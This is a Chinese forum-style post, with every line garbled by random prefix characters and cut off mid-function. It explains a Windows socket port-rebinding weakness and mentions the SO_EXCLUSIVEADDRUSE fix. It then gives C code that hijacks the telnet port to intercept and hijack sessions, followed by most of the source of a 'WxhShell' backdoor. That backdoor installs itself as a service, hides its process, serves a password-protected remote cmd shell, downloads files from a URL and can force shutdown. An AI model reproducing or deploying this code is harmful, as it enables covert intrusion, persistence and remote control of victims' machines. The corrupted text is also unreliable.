在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
l{E+j% s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Jx[IHE ZS4lb=)G saddr.sin_family = AF_INET;
{ P&l` qWfG@hn saddr.sin_addr.s_addr = htonl(INADDR_ANY);
AN\: '&xv)tno bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
#7/_Usso #y~^!fdp9 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
U(3{6^>Gc ;SEH|_/ 这意味着什么?意味着可以进行如下的攻击:
9pb4!=g* o>';-} E 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
?R&,1~h ;%"UZ~]f 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
o=X6PoJN_ 2n2{Oy>L 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
1t
WKH ^EPM~cEY\ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
6OkN(tL&. pkWzaf 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
I;S[Ft8d Wt"fn&R} 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
:CNHN2 J a<B[~J 4i 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
X@*$3z#Z 5P,{h #include
Z}5;K"T/ #include
.:B]
a7b #include
?J<Y] #include
c6:"5};_ DWORD WINAPI ClientThread(LPVOID lpParam);
8&7LF int main()
35%'HFt_ {
zZ3,e L WORD wVersionRequested;
OQ;DqV DWORD ret;
DK}k||- WSADATA wsaData;
Hc ]/0: BOOL val;
z)='MKrEt- SOCKADDR_IN saddr;
G,FYj'<!7, SOCKADDR_IN scaddr;
#DXC6f int err;
BQ2EDy=}6 SOCKET s;
<]r.wn=}M SOCKET sc;
(f,D$mX int caddsize;
0Y,_
DU HANDLE mt;
7?:7}xb- DWORD tid;
iov55jT~l@ wVersionRequested = MAKEWORD( 2, 2 );
E5w.wx err = WSAStartup( wVersionRequested, &wsaData );
{0+gPTp if ( err != 0 ) {
,Drd s"H printf("error!WSAStartup failed!\n");
0zCe|s.S& return -1;
"2o,XF }
HeZ! "^w saddr.sin_family = AF_INET;
}#Z Q\[ RY2`v
pv //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
t,4q]Jt \Lv
eZ_h5 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
lpQsmd# saddr.sin_port = htons(23);
_Pjo9z
9 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
(1T2?mO {
qba<$ printf("error!socket failed!\n");
T]l_B2. return -1;
,F`:4=H% }
D642}VD val = TRUE;
In#V1[io //SO_REUSEADDR选项就是可以实现端口重绑定的
W'hE, if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Yv\.QrxPm {
awQf$ printf("error!setsockopt failed!\n");
;Oh4W<hH} return -1;
<i``#"/ }
3P-qLbJ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
]1>U@oK //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
:A%uXgK<k //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
TBHIcX J?&lpsB3_l if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
7d*SZmD
{
J)vP<.3: ret=GetLastError();
-g(&5._,ZW printf("error!bind failed!\n");
oqH811 return -1;
2T3v^%%j }
}A3(g$8KR listen(s,2);
|FGt' while(1)
qRT1W re
3 {
`d2}>
caddsize = sizeof(scaddr);
M)C.bo{p //接受连接请求
}2:/&H' sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Y
O;N9wu3f if(sc!=INVALID_SOCKET)
Sd'!(M^k3 {
dtw1Am#Ci mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
u0`~
|K if(mt==NULL)
P*_!^2 {
Kf2Ob1 printf("Thread Creat Failed!\n");
PLf break;
p1
>
D }
p(in.Xz }
>H?l[*9 CloseHandle(mt);
+e+hIMur }
u POmiF closesocket(s);
_IBIx\F WSACleanup();
;|Idg"2 return 0;
Z[<rz6%cB }
fz#e4+oH DWORD WINAPI ClientThread(LPVOID lpParam)
Sr Z\] {
Vb*q^
v SOCKET ss = (SOCKET)lpParam;
c-.t8X,5(~ SOCKET sc;
rK)aR unsigned char buf[4096];
2j&-3W$^ SOCKADDR_IN saddr;
e@"1W long num;
6Ko[[?Lf[ DWORD val;
E5qh]z( DWORD ret;
%
\p:S)R //如果是隐藏端口应用的话,可以在此处加一些判断
]CsF} wr'z //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Z?
u\ saddr.sin_family = AF_INET;
]`)50\pdw saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Mk9' saddr.sin_port = htons(23);
pt .0%3 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
UhQ [|c {
XF(0>- printf("error!socket failed!\n");
L/dG0a@1X return -1;
j3jf:7 /\ }
2V%si 6 val = 100;
${Cb1|g>j if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
`p1szZD& {
S e/VOzzg ret = GetLastError();
U\'.rT[# return -1;
[<`K%1GQ }
ieXhOA if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~Fp,nE-B {
|Z'NMJU ret = GetLastError();
HTiqErD2_ return -1;
|!:ImX@ }
1Y!"C if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
g BfYm {
ZLw7-H6Fh printf("error!socket connect failed!\n");
f(~xdR))eh closesocket(sc);
u&Ts'j closesocket(ss);
|:Gz9u + return -1;
Hf!o6 o }
d1VNTB while(1)
CnyCEIO- {
qDZ?iTHQq //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Ht|No //如果是嗅探内容的话,可以再此处进行内容分析和记录
YSERQo //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
#12 num = recv(ss,buf,4096,0);
nTxeV% if(num>0)
*X- 6]C send(sc,buf,num,0);
0Ou;MU*v else if(num==0)
H1X3 8 break;
K0$8t%Z. num = recv(sc,buf,4096,0);
PhL }V|W> if(num>0)
Q`k=VSUk send(ss,buf,num,0);
ep`WYR|B else if(num==0)
tj/X7| break;
(PAkKY} }
4#Wczk-b closesocket(ss);
`(s&H8x# closesocket(sc);
P @N7g`u3} return 0 ;
):HjpJvF }
4TcKs}z A_3V1<J`] m`luMt9 ==========================================================
8JxJ>I-9p @b[{.mU 下边附上一个代码,,WXhSHELL
x~p8Mcv pJ35M ==========================================================
P(pw$
q$S W FVx7 #include "stdafx.h"
vW,dJ[N6jm <>JN3? #include <stdio.h>
NFq&a i #include <string.h>
*6D0>F #include <windows.h>
_aa3;kT_ #include <winsock2.h>
1|$V #include <winsvc.h>
5u
+U^D #include <urlmon.h>
'q%56WAJ s%F}4W2s #pragma comment (lib, "Ws2_32.lib")
.%) FK#s- #pragma comment (lib, "urlmon.lib")
;Q"xXT`;: 2@K D
'^( #define MAX_USER 100 // 最大客户端连接数
_h|rH #define BUF_SOCK 200 // sock buffer
*ue-
x!"c #define KEY_BUFF 255 // 输入 buffer
d,kh6'g2@ b|mWEB.p #define REBOOT 0 // 重启
.?{rd3[ec #define SHUTDOWN 1 // 关机
x Vk|6vA7 ^uB9EP*P #define DEF_PORT 5000 // 监听端口
?m.WqNBH7 S9/oBxGN #define REG_LEN 16 // 注册表键长度
~\_aT2j0 #define SVC_LEN 80 // NT服务名长度
cojtQD6 7PQ03dtfg // 从dll定义API
9gP-//L@
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
4CA(` _i~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
f P'qUN typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
7u[U %yd typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
cQ(zBf umPd+5i // wxhshell配置信息
Q;r9>E! struct WSCFG {
48;6C g int ws_port; // 监听端口
rg Gm[SL*< char ws_passstr[REG_LEN]; // 口令
m(MPVY<X int ws_autoins; // 安装标记, 1=yes 0=no
?sfas57&y char ws_regname[REG_LEN]; // 注册表键名
$|+q9o\ char ws_svcname[REG_LEN]; // 服务名
Ia_I~ U$ char ws_svcdisp[SVC_LEN]; // 服务显示名
.B2?%2S char ws_svcdesc[SVC_LEN]; // 服务描述信息
Q72}V9I9 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
WJH-~,u int ws_downexe; // 下载执行标记, 1=yes 0=no
fZ8%Z
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
'
>a(| char ws_filenam[SVC_LEN]; // 下载后保存的文件名
{
FVLH:{U^ }diB };
4C@ .X[r 3ZdheenK9 // default Wxhshell configuration
_dOR-< struct WSCFG wscfg={DEF_PORT,
fik*-$V` "xuhuanlingzhe",
g<C_3ap/ 1,
{Up@\M "Wxhshell",
TZ#(G "Wxhshell",
B \?We\y "WxhShell Service",
Yq~$Q4 "Wrsky Windows CmdShell Service",
j8Nl'" "Please Input Your Password: ",
wz1fx>Q 1,
`/ ]Th&(5 "
http://www.wrsky.com/wxhshell.exe",
#p'Xq
}] "Wxhshell.exe"
+ob<?
T };
9 0PF)U tQ!p<Q=
$) // 消息定义模块
ee7#PE]} char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
|'@c ~yc char *msg_ws_prompt="\n\r? for help\n\r#>";
`PML4P[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
}dnO7K char *msg_ws_ext="\n\rExit.";
I+nKaN+8i
char *msg_ws_end="\n\rQuit.";
G@s]HJ: char *msg_ws_boot="\n\rReboot...";
+/!kL0[v char *msg_ws_poff="\n\rShutdown...";
+; /]' char *msg_ws_down="\n\rSave to ";
\:>GF-Z( `qP <S
char *msg_ws_err="\n\rErr!";
FR%9Qb7 char *msg_ws_ok="\n\rOK!";
h)S223[ XLwmXi char ExeFile[MAX_PATH];
IE/F =Wr int nUser = 0;
z1wJ-l HANDLE handles[MAX_USER];
QuG=am?l` int OsIsNt;
5/U|oZM" M#<U=Ha SERVICE_STATUS serviceStatus;
<'s_3AC SERVICE_STATUS_HANDLE hServiceStatusHandle;
8?p40x$m% "S8JHHx // 函数声明
:|j,x7&/{ int Install(void);
T-"zK r! int Uninstall(void);
hC1CISm.U int DownloadFile(char *sURL, SOCKET wsh);
zJ-_{GiM*L int Boot(int flag);
}M3f ?Jv void HideProc(void);
y"N7r1Pf int GetOsVer(void);
<*D{uMw int Wxhshell(SOCKET wsl);
,&+"|,m void TalkWithClient(void *cs);
Gyo[C98 int CmdShell(SOCKET sock);
Ql~9a
[8T~ int StartFromService(void);
oW0A8_|9 int StartWxhshell(LPSTR lpCmdLine);
ii0{$}eoh :X1~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
3O{*~D&n VOID WINAPI NTServiceHandler( DWORD fdwControl );
?&qa3y)wX: 1oD1ia# // 数据结构和表定义
|jh&a+4W SERVICE_TABLE_ENTRY DispatchTable[] =
c
eH8 {
UNx|+ {wscfg.ws_svcname, NTServiceMain},
z^@.b {NULL, NULL}
IZr~h9 };
[V vTR#^ $e(]L(o; // 自我安装
jg2UX int Install(void)
cvoE4&m! {
q.
i2BoOd char svExeFile[MAX_PATH];
m
2tw[6M HKEY key;
6??o(ziK$ strcpy(svExeFile,ExeFile);
G)ppkH`qj r'!HWR // 如果是win9x系统,修改注册表设为自启动
E
cS+/ if(!OsIsNt) {
"EA6RFRD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
N?Wx-pK RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
E;$;g#ksf RegCloseKey(key);
BQ X6Q< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
qN5 ru2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
gmCW__oR RegCloseKey(key);
M8 4{u!>[ return 0;
jO` b&]0 }
;3 N0) }
r>!$eqX_ }
[73 \jT else {
i=m5M]Ef ,r$k79TI // 如果是NT以上系统,安装为系统服务
(s:ihpI SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
cr}T ? $\K if (schSCManager!=0)
v|\<N!g {
(lNV\Za SC_HANDLE schService = CreateService
B=EI&+F+ (
E5^P*6c( schSCManager,
O=,[u? wscfg.ws_svcname,
;$`5L"I5$ wscfg.ws_svcdisp,
'7lHWqN< SERVICE_ALL_ACCESS,
4*j6~ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
|@84l SERVICE_AUTO_START,
l|,
Hj SERVICE_ERROR_NORMAL,
NNKI+!vg svExeFile,
(8Q0?SZN NULL,
)K=%s%3h< NULL,
{P'_s]B) NULL,
5y
9(<}z NULL,
@W4tnM,# NULL
VR8 kY& );
HDmjt+3&n if (schService!=0)
{}sF?wZf {
GJu[af CloseServiceHandle(schService);
<7U\@si4 CloseServiceHandle(schSCManager);
LB(I^ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
\&{a/e2:S strcat(svExeFile,wscfg.ws_svcname);
M2pe*z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
J$aE:g6' RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
-qI8zs$:5 RegCloseKey(key);
4AIo,{( return 0;
5%qq#;[n }
X.q, }
9.:]eL CloseServiceHandle(schSCManager);
&dH[lB }
5Kadh2nz }
& bKl(, $;4y2?E return 1;
9<e%('@[ }
&:>3tFQSH \?$`dA [ // 自我卸载
;\N)RZ int Uninstall(void)
R m&^[mv {
Z[ NO`!< HKEY key;
}?\8%hK"a7 t!=qt* if(!OsIsNt) {
P{bRRn4Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
GiZv0>*x RegDeleteValue(key,wscfg.ws_regname);
$wr B5m? RegCloseKey(key);
KQf=t0Z=Ce if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
m{ wk0 RegDeleteValue(key,wscfg.ws_regname);
D]?eRO9' RegCloseKey(key);
f3>L/9[[<P return 0;
y;\m1o2 }
65HP9`5Tm }
Z!/!4(Fh }
yb-1zF| else {
7R4t%^F <:n!qQS6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
vvTQ!Aa if (schSCManager!=0)
X7bS{GT {
$fzO:br5WJ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
rexNsKRK_ if (schService!=0)
[%uj+?}6O {
A_y]6~Mu?~ if(DeleteService(schService)!=0) {
Nf]h8d~ CloseServiceHandle(schService);
[$Dzf<0 CloseServiceHandle(schSCManager);
~6Xr^An/Z return 0;
V
6*ohC: }
(u{?aG~ CloseServiceHandle(schService);
tk5zq-/d }
n@JZ 2K4 CloseServiceHandle(schSCManager);
'^{:HR#i }
+55+%oGl }
M+L8~BD@ S"@/F-
81 return 1;
)bgaqca_{ }
:Rroz]* l%_r 3W // 从指定url下载文件
sTSNu+ int DownloadFile(char *sURL, SOCKET wsh)
> u!#
4 {
9cnLf# HRESULT hr;
yrF"`/zv6| char seps[]= "/";
SSAf<44e char *token;
tP.jJC~ char *file;
:~{Nf-y0`1 char myURL[MAX_PATH];
Wik8V 0( char myFILE[MAX_PATH];
rRQKW_9mB O
a%ZlEUF strcpy(myURL,sURL);
P3k@ptc-K token=strtok(myURL,seps);
2.2G79U, while(token!=NULL)
\C}_l+nY {
mm:g9j file=token;
;ztt*py token=strtok(NULL,seps);
(M-Wea!q }
ln2lFfz M%z$yU`ac GetCurrentDirectory(MAX_PATH,myFILE);
qRcY(mb strcat(myFILE, "\\");
Q
H57[Yg strcat(myFILE, file);
>Y6iLQ$X send(wsh,myFILE,strlen(myFILE),0);
pQNTN.L9NZ send(wsh,"...",3,0);
-<{;.~nI. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
u85dG7 if(hr==S_OK)
+B&,$ceyaJ return 0;
'* eeup else
b6?&h:{k return 1;
(MGYX_rD EY^+ N>
}
X-<l+WP JC.nfxG@: // 系统电源模块
.Cz9?]jyI int Boot(int flag)
_+6aD|7x {
J3z:U&%= HANDLE hToken;
\0fk^
TOKEN_PRIVILEGES tkp;
<}Hs@`jS n)uck5 if(OsIsNt) {
M-V{( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
\\)9QP? LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
>3?p 23|; tkp.PrivilegeCount = 1;
I/hq8v~S tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
!zQbF&> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
hd1aNaF- if(flag==REBOOT) {
l2ARM3" if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
+pY--5t return 0;
j[${h,p? }
KQTv5|$? else {
$1uT`>% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
]99@Lf[^f return 0;
)>(ZX9diV }
=k]2Ad }
^oMdx2Ow# else {
T9\G,;VQ7/ if(flag==REBOOT) {
DS|q(O=7~t if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
OsV'&@+G> return 0;
Y[rRz6.*( }
FaLc*CU else {
s4[PwD if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
A&S n^mw return 0;
yi;pn Z }
c->.eL% }
(b8ZADI* :pdl2#5H^ return 1;
85_Qb2<'r }
(3? W)i n.7-$1 // win9x进程隐藏模块
>zo_ }A! void HideProc(void)
rlQ=rNrG&E {
)Ah 7 LUzn7FZk HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
2GxkOch if ( hKernel != NULL )
Z 5 Xis"j {
d:#z{V_ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
1\Z/}FT ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
E1D0un FreeLibrary(hKernel);
/8wfI_P>M" }
uQYenCNXS ?UV|m return;
b ;>?m }
Kz"&:&R" r1BL?&X- // 获取操作系统版本
bJcO,M:2 int GetOsVer(void)
"i,ZG$S#E {
aen0XiB6~^ OSVERSIONINFO winfo;
n.=Zw2FE winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
]oLyvG GetVersionEx(&winfo);
a"D'QqtH if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
2j&0U!DX return 1;
M.67[Qj~"u else
$DW__h return 0;
#A&49a3^1 }
ldnKV&N f0{j/+F_o // 客户端句柄模块
.q<5OE(f int Wxhshell(SOCKET wsl)
3qkPe_<I {
(SMk!b]} SOCKET wsh;
srhI%Zj struct sockaddr_in client;
dVSQG947i: DWORD myID;
Pq,iR J ~? :>=x while(nUser<MAX_USER)
V8rS~'{\ {
=~TPrO^ int nSize=sizeof(client);
?&=JGk^eJ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
"?^#+@LV if(wsh==INVALID_SOCKET) return 1;
M<r]a{Yv Gkm{b[ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
[r1dgwh8 if(handles[nUser]==0)
+~"(Wooi closesocket(wsh);
T037|k a{ else
io UO0 nUser++;
8@/MrEOW# }
FXul
u6"SX WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Fl!D2jnN &88c@Ksn return 0;
2U3e!V }
eV"s5X[$ ?)H:.]7-x // 关闭 socket
Sd/7# void CloseIt(SOCKET wsh)
vxS4YR b {
V
n+a-v closesocket(wsh);
(7ujJ}#, nUser--;
2(5/#$t ExitThread(0);
eo~b]D }
[ldBI3 "m`}J*s" // 客户端请求句柄
??f,(om void TalkWithClient(void *cs)
ZiPz~G0[^ {
4K
]*bF44 \,#;gS" SOCKET wsh=(SOCKET)cs;
Qq%~e41ec char pwd[SVC_LEN];
0mNL!" char cmd[KEY_BUFF];
$/
g<h char chr[1];
' e %>Ip int i,j;
~x^Ra8A 9&{z?* while (nUser < MAX_USER) {
Vha,rIi )q`.tsR> if(wscfg.ws_passstr) {
w3#0kl if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
*'*n}fM //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
~14|y|\/ //ZeroMemory(pwd,KEY_BUFF);
<"8F=3:uk i=0;
86>@.:d while(i<SVC_LEN) {
sN K^.0 J50n
E~ // 设置超时
cG&@PO]+. fd_set FdRead;
hcM9Sx"! struct timeval TimeOut;
B4* uS ( FD_ZERO(&FdRead);
_9dW+ FD_SET(wsh,&FdRead);
NKc<nYdK? TimeOut.tv_sec=8;
(*kKfg4Wj TimeOut.tv_usec=0;
nd$92H int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
luW"| if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
/|3~LvIt= KWM.e1( if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
.<Ays? pwd
=chr[0]; ?vFtv}@\
if(chr[0]==0xd || chr[0]==0xa) { !MVf(y$
pwd=0; x.$cP
break; ttls.~DG
} wp83E,
i++; Bw~jqDZ}|
} L9oLdWa(C
6&QOC9JW+7
// 如果是非法用户,关闭 socket Lq2jXy5#n
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `q`ah_
} zG{jRth
i'.D=o
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); XMz*}B6GQ
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3h$E^"
~7FS'!W,F
while(1) { 1CR\!?
<Mu T7x-
ZeroMemory(cmd,KEY_BUFF); xel|,|*Yq
5V~vND*
s
// 自动支持客户端 telnet标准 'h^Ya?g
j=0; L)4~:f)B
while(j<KEY_BUFF) { @t0T+T3
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7w]3D
cmd[j]=chr[0]; N|%r5%
if(chr[0]==0xa || chr[0]==0xd) { E;9J7Q
4
cmd[j]=0; X|&H2y|*7
break; YQyI{
} `,]_r4~ ~
j++; K#'$_0.
} ^IyYck'y+
Jd?qvE>Pp
// 下载文件 59p'U /|
if(strstr(cmd,"http://")) { IG7,-3
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6QJ.=.>b
if(DownloadFile(cmd,wsh)) C]fX=~?bGQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _q}Cnp5
else CI\yP@DQ4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J{\(Y#|rHs
} ;<mcvm
else { Mlr'h}:H
j9yOkaVEg
switch(cmd[0]) { |i~-,:/-Y
LwTdmR
// 帮助 @!j6y(@
case '?': { 8TG|frS
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UG_PrZd
break; h?$J;xn
} E0l&d
// 安装 2(x|
%
case 'i': { X
@pm !c#
if(Install()) ExN$J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); t: oQHhO?
else gz~ug35
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9HPmJ`b
break; "q1S.3V;
} @t@B(1T
// 卸载 8)1=5n
case 'r': { wt;`_}g
if(Uninstall()) p Q!lY
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q2)(tB= )
else IOF!Ra:w
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A:D9qp
break; w\UAKN60
} =,C]d~
// 显示 wxhshell 所在路径 ~kj96w4eAR
case 'p': { ?m+];SJk
char svExeFile[MAX_PATH]; %IE;'aa
}
strcpy(svExeFile,"\n\r"); B2* 7H
strcat(svExeFile,ExeFile); Ke3~o"IQ
send(wsh,svExeFile,strlen(svExeFile),0); GU9G5S.
break; u!HX`~q+A
} e igVT4
// 重启 ^*+M9e9Z
case 'b': { z@o6[g/*Q
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (C1~>7L
if(Boot(REBOOT)) VbMud]40F
send(wsh,msg_ws_err,strlen(msg_ws_err),0); P-$ ,
else { SS24@:"{
closesocket(wsh); Slj
U=,
ExitThread(0); KATf9-Sz
} A.@wGy4
break; _cC1u7U9
} 10.ZBfn
// 关机 rNKeY48\
case 'd': { AWPgrv/
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S8+l!$7
if(Boot(SHUTDOWN)) ya5HAs
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Iz83T9I&
else { aMxj{*v7
closesocket(wsh); ~l?c.CSd
ExitThread(0); N$v_z>6Z
} _L` uCjA
break; u^B! 6Sj8
} m+:JNgX6
// 获取shell "EA =auN{
case 's': { %`K{0b
CmdShell(wsh); HmkxE
closesocket(wsh); Ayv:Pv@
ExitThread(0); V6_5v+n
break; );yZyWDV
} dtTfV.y4w
// 退出 ]Hq,Pr_+
case 'x': { akPd#mf
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Iw`|,-|
CloseIt(wsh); N 3O!8A_
break; _?y3&4N)
} |Kjfh};-C
// 离开 xLLTp7b(
case 'q': { 'p\&Mc_Gu
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Cg%Owe/E?0
closesocket(wsh); ki }Li*)7
WSACleanup(); Y~Vc|zM^(
exit(1); |pbetA4&
break; _(~LXk^C
} lZe-A/E
} *JZ9'|v_H
} tS5J{j>T
#G?#ot2o
// 提示信息 f*88k='\W
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y29G#Y4J
} @8w5Oudvx
} vJct)i
v@ qDR|?^
return; 1zG6^U
} iR PE0
W1Fhx`
// shell模块句柄 y`5
?
int CmdShell(SOCKET sock) JUj.:n2e
{ YU`k^a7%
STARTUPINFO si; K>LS8,8V
ZeroMemory(&si,sizeof(si)); .iP>?9$f"
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BB9eQ:
xO
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $cuBd
PROCESS_INFORMATION ProcessInfo; 1{]S[\F]
char cmdline[]="cmd"; Y,yU460T8
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s]`6uyW"
return 0; 2M\7j
} n@h$V\&\iM
6/Yo0D>M$
// 自身启动模式 4+nZ4a>LH?
int StartFromService(void) |+JO]J#bc
{ )c1Pj#|
typedef struct py':36'
{ u rQvJ
DWORD ExitStatus; ]Ol
w6W?%
DWORD PebBaseAddress; tJQZRZViu
DWORD AffinityMask; jk_yrbLc
DWORD BasePriority; [`E_/95
